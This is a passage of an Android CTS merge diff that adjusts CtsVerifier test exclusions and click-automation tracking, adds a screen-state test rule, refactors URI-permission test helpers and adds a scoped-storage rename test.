Merge "Skip some CtsContentTestCases for non-handheld devices" into rvc-dev
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 6cdbb3e..fdb96d4 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -4342,7 +4342,7 @@
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_instant_apps" />
- <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" />
+ <meta-data android:name="test_excluded_features" android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
</activity>
<activity android:name=".instantapps.RecentAppsTestActivity"
android:label="@string/ia_recents">
@@ -4351,7 +4351,7 @@
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_instant_apps" />
- <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" />
+ <meta-data android:name="test_excluded_features" android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
</activity>
<activity android:name=".instantapps.AppInfoTestActivity"
android:label="@string/ia_app_info">
@@ -4374,4 +4374,8 @@
</activity>
</application>
+ <queries>
+ <!-- Rotation Vector CV Crosscheck (RVCVXCheckTestActivity) relies on OpenCV Manager -->
+ <package android:name="org.opencv.engine" />
+ </queries>
</manifest>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
index 1505aca..99df613 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
@@ -20,7 +20,9 @@
import android.app.ListActivity;
import android.content.Intent;
import android.content.res.Configuration;
+import android.graphics.Rect;
import android.os.Bundle;
+import android.view.MotionEvent;
import android.view.View;
import android.view.Window;
import android.widget.ListView;
@@ -28,17 +30,26 @@
/** {@link ListActivity} that displays a list of manual tests. */
public abstract class AbstractTestListActivity extends ListActivity {
private static final int LAUNCH_TEST_REQUEST_CODE = 9001;
+ //An invalid value which smaller than the edge of coordinate on the screen.
+ private static final float DEFAULT_CLICKED_COORDINATE = -1;
protected TestListAdapter mAdapter;
- // Start time of test item.
+ // Start time of test case.
protected long mStartTime;
- // End time of test item.
+ // End time of test case.
protected long mEndTime;
+ // X-axis of clicked coordinate when entering a test case.
+ protected float mCoordinateX;
+ // Y-axis of clicked coordinate when entering a test case.
+ protected float mCoornidateY;
+ // Whether test case was executed through automation.
+ protected boolean mIsAutomated;
protected void setTestListAdapter(TestListAdapter adapter) {
mAdapter = adapter;
setListAdapter(mAdapter);
mAdapter.loadTestResults();
+ setOnTouchListenerToListView();
}
private Intent getIntent(int position) {
@@ -82,11 +93,16 @@
}
TestResult testResult = TestResult.fromActivityResult(resultCode, data);
testResult.getHistoryCollection().add(
- testResult.getName(), mStartTime, mEndTime);
+ testResult.getName(), mStartTime, mEndTime, mIsAutomated);
mAdapter.setTestResult(testResult);
}
// Reset end time to avoid keeping same end time in retry.
mEndTime = 0;
+ // Reset mIsAutomated flag to false
+ mIsAutomated = false;
+ // Reset clicked coordinate.
+ mCoordinateX = DEFAULT_CLICKED_COORDINATE;
+ mCoornidateY = DEFAULT_CLICKED_COORDINATE;
}
/** Launch the activity when its {@link ListView} item is clicked. */
@@ -94,6 +110,10 @@
protected final void onListItemClick(ListView listView, View view, int position, long id) {
super.onListItemClick(listView, view, position, id);
mStartTime = System.currentTimeMillis();
+ //Check whether the clicked coordinate is consistent with the center of the clicked Object.
+ Rect rect = new Rect();
+ view.getGlobalVisibleRect(rect);
+ mIsAutomated = (mCoordinateX == rect.centerX()) && (mCoornidateY == rect.centerY());
handleItemClick(listView, view, position, id);
}
@@ -102,4 +122,23 @@
Intent intent = getIntent(position);
startActivityForResult(intent, LAUNCH_TEST_REQUEST_CODE);
}
+
+ /** Set OnTouchListener to ListView to get the clicked Coordinate*/
+ protected void setOnTouchListenerToListView() {
+ getListView().setOnTouchListener(null);
+ getListView().setOnTouchListener(new View.OnTouchListener(){
+ @Override
+ public boolean onTouch(View v, MotionEvent event) {
+ if (event.getAction() == MotionEvent.ACTION_UP) {
+ mCoordinateX = event.getRawX();
+ mCoornidateY = event.getRawY();
+ } else {
+ // Reset clicked coordinate.
+ mCoordinateX = DEFAULT_CLICKED_COORDINATE;
+ mCoornidateY = DEFAULT_CLICKED_COORDINATE;
+ }
+ return false;
+ }
+ });
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
index 0e7160c..f92d233 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
@@ -3,7 +3,6 @@
import com.android.compatibility.common.util.TestResultHistory;
import java.io.Serializable;
-import java.util.AbstractMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
@@ -11,6 +10,7 @@
public class TestResultHistoryCollection implements Serializable {
+ private static final long serialVersionUID = 0L;
private final Set<TestResultHistory> mHistoryCollection = new HashSet<>();
/**
@@ -23,30 +23,32 @@
}
/**
- * Add a test result history with test name, start time and end time.
+ * Add a test result history with test name, start time, end time and isAutomated.
*
* @param test a string of test name.
* @param start start time of a test.
* @param end end time of a test.
+ * @param isAutomated whether test case was executed through automation.
*/
- public void add(String test, long start, long end) {
- Set<Map.Entry> duration = new HashSet<>();
- duration.add(new AbstractMap.SimpleEntry<>(start, end));
- mHistoryCollection.add(new TestResultHistory(test, duration));
+ public void add(String test, long start, long end, boolean isAutomated) {
+ Set<TestResultHistory.ExecutionRecord> executionRecords
+ = new HashSet<TestResultHistory.ExecutionRecord> ();
+ executionRecords.add(new TestResultHistory.ExecutionRecord(start, end, isAutomated));
+ mHistoryCollection.add(new TestResultHistory(test, executionRecords));
}
/**
- * Add test result histories for tests containing test name and a set of execution time.
+ * Add test result histories for tests containing test name and a set of ExecutionRecords
*
* @param test test name.
- * @param durations set of start and end time.
+ * @param executionRecords set of ExecutionRecords.
*/
- public void addAll(String test, Set<Map.Entry> durations) {
- TestResultHistory history = new TestResultHistory(test, durations);
+ public void addAll(String test, Set<TestResultHistory.ExecutionRecord> executionRecords) {
+ TestResultHistory history = new TestResultHistory(test, executionRecords);
boolean match = false;
for (TestResultHistory resultHistory: mHistoryCollection) {
if (resultHistory.getTestName().equals(test)) {
- resultHistory.getDurations().addAll(durations);
+ resultHistory.getExecutionRecords().addAll(executionRecords);
match = true;
break;
}
@@ -63,10 +65,12 @@
* @param resultHistoryCollection a set of test result histories.
*/
public void merge(String prefix, TestResultHistoryCollection resultHistoryCollection) {
- if (resultHistoryCollection != null) {
+ if (resultHistoryCollection != null) {
resultHistoryCollection.asSet().forEach(t-> addAll(
- prefix != null ? prefix + ":" + t.getTestName() : t.getTestName(), t.getDurations()));
- }
+ prefix != null
+ ? prefix + ":" + t.getTestName()
+ : t.getTestName(), t.getExecutionRecords()));
+ }
}
/**
diff --git a/apps/CtsVerifierInstantApp/AndroidManifest.xml b/apps/CtsVerifierInstantApp/AndroidManifest.xml
index bb59c13..51a6df6 100644
--- a/apps/CtsVerifierInstantApp/AndroidManifest.xml
+++ b/apps/CtsVerifierInstantApp/AndroidManifest.xml
@@ -17,11 +17,13 @@
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.BROWSABLE"/>
<category android:name="android.intent.category.DEFAULT" />
- <data android:host="instantapp.cts.android.com" android:scheme="http"/>
- <data android:host="instantapp.cts.android.com" android:scheme="https"/>
+ <data android:host="source.android.com/compatibility/cts/verifier-instant-apps"
+ android:scheme="http"/>
+ <data android:host="source.android.com/compatibility/cts/verifier-instant-apps"
+ android:scheme="https"/>
</intent-filter>
<meta-data android:name="default-url"
- android:value="http://instantapp.cts.android.com" />
+ android:value="https://source.android.com/compatibility/cts/verifier-instant-apps" />
</activity>
</application>
</manifest>
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java
new file mode 100644
index 0000000..5731457
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import static org.junit.Assert.fail;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.ITestInformationReceiver;
+import com.android.tradefed.util.CommandResult;
+import com.android.tradefed.util.CommandStatus;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * {@link TestRule} class that disables screen saver and doze settings before each test method
+ * running and restoring to initial values after test method finished.
+ */
+public class NormalizeScreenStateRule implements TestRule {
+ private final ITestInformationReceiver mTestInformationReceiver;
+
+ public NormalizeScreenStateRule(ITestInformationReceiver testInformationReceiver) {
+ mTestInformationReceiver = testInformationReceiver;
+ }
+
+ /** Doze items copied from ActivityManagerTestBase since the keys are hidden. */
+ private static final String[] DOZE_SETTINGS = {
+ "doze_enabled",
+ "doze_always_on",
+ "doze_pulse_on_pick_up",
+ "doze_pulse_on_long_press",
+ "doze_pulse_on_double_tap",
+ "doze_wake_screen_gesture",
+ "doze_wake_display_gesture",
+ "doze_tap_gesture",
+ "screensaver_enabled",
+ };
+
+ private ITestDevice getDevice() {
+ return mTestInformationReceiver.getTestInformation().getDevice();
+ }
+
+ private String getSecureSetting(String key) {
+ try {
+ CommandResult res = getDevice().executeShellV2Command("settings get secure " + key);
+ if (res.getStatus() != CommandStatus.SUCCESS) {
+ fail("Could not set setting " + key + ": " + res.getStdout());
+ }
+ return res.getStdout().trim();
+ } catch (DeviceNotAvailableException e) {
+ fail("Could not connect to device: " + e.getMessage());
+ return null;
+ }
+ }
+
+ private void putSecureSetting(String key, String value) {
+ try {
+ CommandResult res = getDevice().executeShellV2Command(
+ "settings put secure " + key + " " + value);
+ if (res.getStatus() != CommandStatus.SUCCESS) {
+ fail("Could not set setting " + key + ": " + res.getStdout());
+ }
+ } catch (DeviceNotAvailableException e) {
+ fail("Could not connect to device: " + e.getMessage());
+ }
+ }
+
+ @Override
+ public Statement apply(Statement base, Description description) {
+ return new Statement() {
+ @Override
+ public void evaluate() throws Throwable {
+ final Map<String, String> initialValues = new HashMap<>();
+ Arrays.stream(DOZE_SETTINGS).forEach(
+ k -> initialValues.put(k, getSecureSetting(k)));
+ try {
+ Arrays.stream(DOZE_SETTINGS).forEach(k -> putSecureSetting(k, "0"));
+ base.evaluate();
+ } finally {
+ Arrays.stream(DOZE_SETTINGS).forEach(
+ k -> putSecureSetting(k, initialValues.get(k)));
+ }
+ }
+ };
+ }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
index a35b974..557596a 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
@@ -32,6 +32,7 @@
import org.junit.After;
import org.junit.Before;
+import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -65,6 +66,9 @@
private boolean mSupportsMultiUser;
+ @Rule
+ public NormalizeScreenStateRule mNoDozeRule = new NormalizeScreenStateRule(this);
+
@Before
public void setUp() throws Exception {
assertNotNull(getAbi());
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
index d3564f9..39da864 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
@@ -35,6 +35,7 @@
public static final String ACTION_GRANT_URI = "grantUri";
public static final String ACTION_REVOKE_URI = "revokeUri";
public static final String ACTION_START_ACTIVITY = "startActivity";
+ public static final String ACTION_START_ACTIVITIES = "startActivities";
public static final String ACTION_START_SERVICE = "startService";
public static final String ACTION_VERIFY_OUTGOING_PERSISTED = "verifyOutgoingPersisted";
public static final String ACTION_SET_PRIMARY_CLIP = "setPrimaryClip";
@@ -70,6 +71,11 @@
newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(newIntent);
+ } else if (ACTION_START_ACTIVITIES.equals(action)) {
+ final Intent newIntent = intent.getParcelableExtra(EXTRA_INTENT);
+ newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivities(new Intent[] { newIntent });
+
} else if (ACTION_START_SERVICE.equals(action)) {
final Intent newIntent = intent.getParcelableExtra(EXTRA_INTENT);
context.startService(newIntent);
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
index 26a2eee..132d7f6 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
@@ -22,7 +22,8 @@
import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE_MODES;
import static com.android.cts.usespermissiondiffcertapp.Asserts.assertAccess;
import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
-import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaActivities;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaActivity;
import static junit.framework.Assert.fail;
@@ -85,7 +86,7 @@
// --------------------------------
ReceiveUriActivity.clearStarted();
- grantClipUriPermission(subClip, mode, false);
+ grantClipUriPermissionViaActivities(subClip, mode);
ReceiveUriActivity.waitForStart();
assertAccess(uri, 0);
@@ -99,7 +100,7 @@
// --------------------------------
ReceiveUriActivity.clearNewIntent();
- grantClipUriPermission(sub2Clip, mode, false);
+ grantClipUriPermissionViaActivity(sub2Clip, mode);
ReceiveUriActivity.waitForNewIntent();
assertAccess(uri, 0);
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
index 7be059f..444c1bf 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
@@ -22,7 +22,7 @@
import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE_MODES;
import static com.android.cts.usespermissiondiffcertapp.Asserts.assertAccess;
import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
-import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaService;
import static junit.framework.Assert.fail;
@@ -79,7 +79,7 @@
// --------------------------------
ReceiveUriService.clearStarted();
- grantClipUriPermission(subClip, mode, true);
+ grantClipUriPermissionViaService(subClip, mode);
ReceiveUriService.waitForStart();
int firstStartId = ReceiveUriService.getCurStartId();
@@ -96,7 +96,7 @@
// Send another Intent to it.
ReceiveUriService.clearStarted();
- grantClipUriPermission(sub2Clip, mode, true);
+ grantClipUriPermissionViaService(sub2Clip, mode);
ReceiveUriService.waitForStart();
assertAccess(uri, 0);
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
index a955dbc..8058d5b 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
@@ -23,7 +23,7 @@
import static com.android.cts.usespermissiondiffcertapp.Asserts.assertReadingClipNotAllowed;
import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingClipAllowed;
import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingClipNotAllowed;
-import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaActivity;
import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaContext;
import static com.android.cts.usespermissiondiffcertapp.Utils.revokeClipUriPermissionViaContext;
@@ -104,8 +104,8 @@
// Now, let's grant ourselves some access
ReceiveUriActivity.clearStarted();
- grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
- | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
+ grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+ | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
ReceiveUriActivity.waitForStart();
// We should now have reading access, even before taking the persistable
@@ -129,9 +129,9 @@
// Launch again giving ourselves persistable read and write access
ReceiveUriActivity.clearNewIntent();
- grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+ grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION
- | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
+ | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
ReceiveUriActivity.waitForNewIntent();
// Previous persisted grant should be unchanged
@@ -190,8 +190,8 @@
// Give ourselves prefix read access
ReceiveUriActivity.clearStarted();
- grantClipUriPermission(clipMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
- | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
+ grantClipUriPermissionViaActivity(clipMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
+ | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
ReceiveUriActivity.waitForStart();
// Verify prefix read access
@@ -204,7 +204,7 @@
// Now give ourselves exact write access
ReceiveUriActivity.clearNewIntent();
- grantClipUriPermission(clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, false);
+ grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
ReceiveUriActivity.waitForNewIntent();
// Verify we have exact write access, but not prefix write
@@ -233,9 +233,9 @@
// Give ourselves prefix read access
ReceiveUriActivity.clearStarted();
- grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+ grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
- | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
+ | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
ReceiveUriActivity.waitForStart();
// Verify prefix read access
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
index 48cac57..62bad1f 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
@@ -20,6 +20,7 @@
import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_GRANT_URI;
import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_REVOKE_URI;
import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_SET_PRIMARY_CLIP;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_ACTIVITIES;
import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_ACTIVITY;
import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_SERVICE;
import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_VERIFY_OUTGOING_PERSISTED;
@@ -38,6 +39,8 @@
import com.android.cts.permissiondeclareapp.UtilsProvider;
+import java.util.Objects;
+
public class Utils {
private static Context getContext() {
return InstrumentationRegistry.getTargetContext();
@@ -49,7 +52,19 @@
getContext().getContentResolver().call(UtilsProvider.URI, "", "", extras);
}
- static void grantClipUriPermission(ClipData clip, int mode, boolean service) {
+ static void grantClipUriPermissionViaActivity(ClipData clip, int mode) {
+ grantClipUriPermission(clip, mode, ACTION_START_ACTIVITY);
+ }
+
+ static void grantClipUriPermissionViaActivities(ClipData clip, int mode) {
+ grantClipUriPermission(clip, mode, ACTION_START_ACTIVITIES);
+ }
+
+ static void grantClipUriPermissionViaService(ClipData clip, int mode) {
+ grantClipUriPermission(clip, mode, ACTION_START_SERVICE);
+ }
+
+ private static void grantClipUriPermission(ClipData clip, int mode, String action) {
Intent grantIntent = new Intent();
if (clip.getItemCount() == 1) {
grantIntent.setData(clip.getItemAt(0).getUri());
@@ -65,9 +80,10 @@
}
grantIntent.addFlags(mode);
grantIntent.setClass(getContext(),
- service ? ReceiveUriService.class : ReceiveUriActivity.class);
+ Objects.equals(ACTION_START_SERVICE, action) ? ReceiveUriService.class
+ : ReceiveUriActivity.class);
Intent intent = new Intent();
- intent.setAction(service ? ACTION_START_SERVICE : ACTION_START_ACTIVITY);
+ intent.setAction(action);
intent.putExtra(EXTRA_INTENT, grantIntent);
call(intent);
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
index f6659f3..4321f38 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
@@ -88,12 +88,6 @@
mUiDevice.pressHome();
}
- public void testLockTaskIsActive() throws Exception {
- Log.d(TAG, "testLockTaskIsActive on host-driven test");
- waitAndCheckLockedActivityIsResumed();
- checkLockedActivityIsRunning();
- }
-
/**
* On low-RAM devices, this test can take too long to finish, so the test runner can incorrectly
* assume it's finished. Therefore, only use it once in a given test.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 048468c..72e8293 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -1226,9 +1226,6 @@
// Wait for the LockTask starting
waitForBroadcastIdle();
- // Make sure that the LockTaskUtilityActivityIfWhitelisted was started.
- executeDeviceTestMethod(".LockTaskHostDrivenTest", "testLockTaskIsActive");
-
// Try to open settings via adb
executeShellCommand("am start -a android.settings.SETTINGS");
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
index 7738e31..d508a1d 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
@@ -62,7 +62,7 @@
@RunWith(AndroidJUnit4.class)
public class InputMethodServiceDeviceTest {
- private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+ private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(7);
/** Test to check CtsInputMethod1 receives onCreate and onStartInput. */
@Test
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index 7475e74..08349a1 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -20,6 +20,7 @@
import android.platform.test.annotations.AppModeFull;
+import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
@@ -459,6 +460,22 @@
runDeviceTest("testReadWriteFilesInOtherAppExternalDir");
}
+ @Test
+ public void testRenameFromShell() throws Exception {
+ final ITestDevice device = getDevice();
+ final boolean isAdbRoot = device.isAdbRoot() ? true : false;
+ try {
+ if (isAdbRoot) {
+ device.disableAdbRoot();
+ }
+ runDeviceTest("testRenameFromShell");
+ } finally {
+ if (isAdbRoot) {
+ device.enableAdbRoot();
+ }
+ }
+ }
+
private void grantPermissions(String... perms) throws Exception {
for (String perm : perms) {
executeShellCommand("pm grant android.scopedstorage.cts " + perm);
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index e2c9d71..eb60460 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -2740,6 +2740,46 @@
}
}
+ @Test
+ public void testRenameFromShell() throws Exception {
+ final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ final File dir = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
+ final File renamedDir = new File(getMusicDir(), TEST_DIRECTORY_NAME);
+ final File renamedImageFile = new File(dir, IMAGE_FILE_NAME);
+ final File imageFileInRenamedDir = new File(renamedDir, IMAGE_FILE_NAME);
+ try {
+ assertTrue(imageFile.createNewFile());
+ assertThat(getFileRowIdFromDatabase(imageFile)).isNotEqualTo(-1);
+ if (!dir.exists()) {
+ assertThat(dir.mkdir()).isTrue();
+ }
+
+ final String renameFileCommand = String.format("mv %s %s",
+ imageFile.getAbsolutePath(), renamedImageFile.getAbsolutePath());
+ executeShellCommand(renameFileCommand);
+ assertFalse(imageFile.exists());
+ assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(-1);
+ assertTrue(renamedImageFile.exists());
+ assertThat(getFileRowIdFromDatabase(renamedImageFile)).isNotEqualTo(-1);
+
+ final String renameDirectoryCommand = String.format("mv %s %s",
+ dir.getAbsolutePath(), renamedDir.getAbsolutePath());
+ executeShellCommand(renameDirectoryCommand);
+ assertFalse(dir.exists());
+ assertFalse(renamedImageFile.exists());
+ assertThat(getFileRowIdFromDatabase(renamedImageFile)).isEqualTo(-1);
+ assertTrue(renamedDir.exists());
+ assertTrue(imageFileInRenamedDir.exists());
+ assertThat(getFileRowIdFromDatabase(imageFileInRenamedDir)).isNotEqualTo(-1);
+ } finally {
+ imageFile.delete();
+ renamedImageFile.delete();
+ imageFileInRenamedDir.delete();
+ dir.delete();
+ renamedDir.delete();
+ }
+ }
+
/**
* Checks restrictions for opening pending and trashed files by different apps. Assumes that
* given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 2cc289a..8140dab 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -196,6 +196,11 @@
<option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
<option name="push" value="CVE-2019-2025->/data/local/tmp/CVE-2019-2025" />
+ <!--__________________-->
+ <!-- Bulletin 2020-03 -->
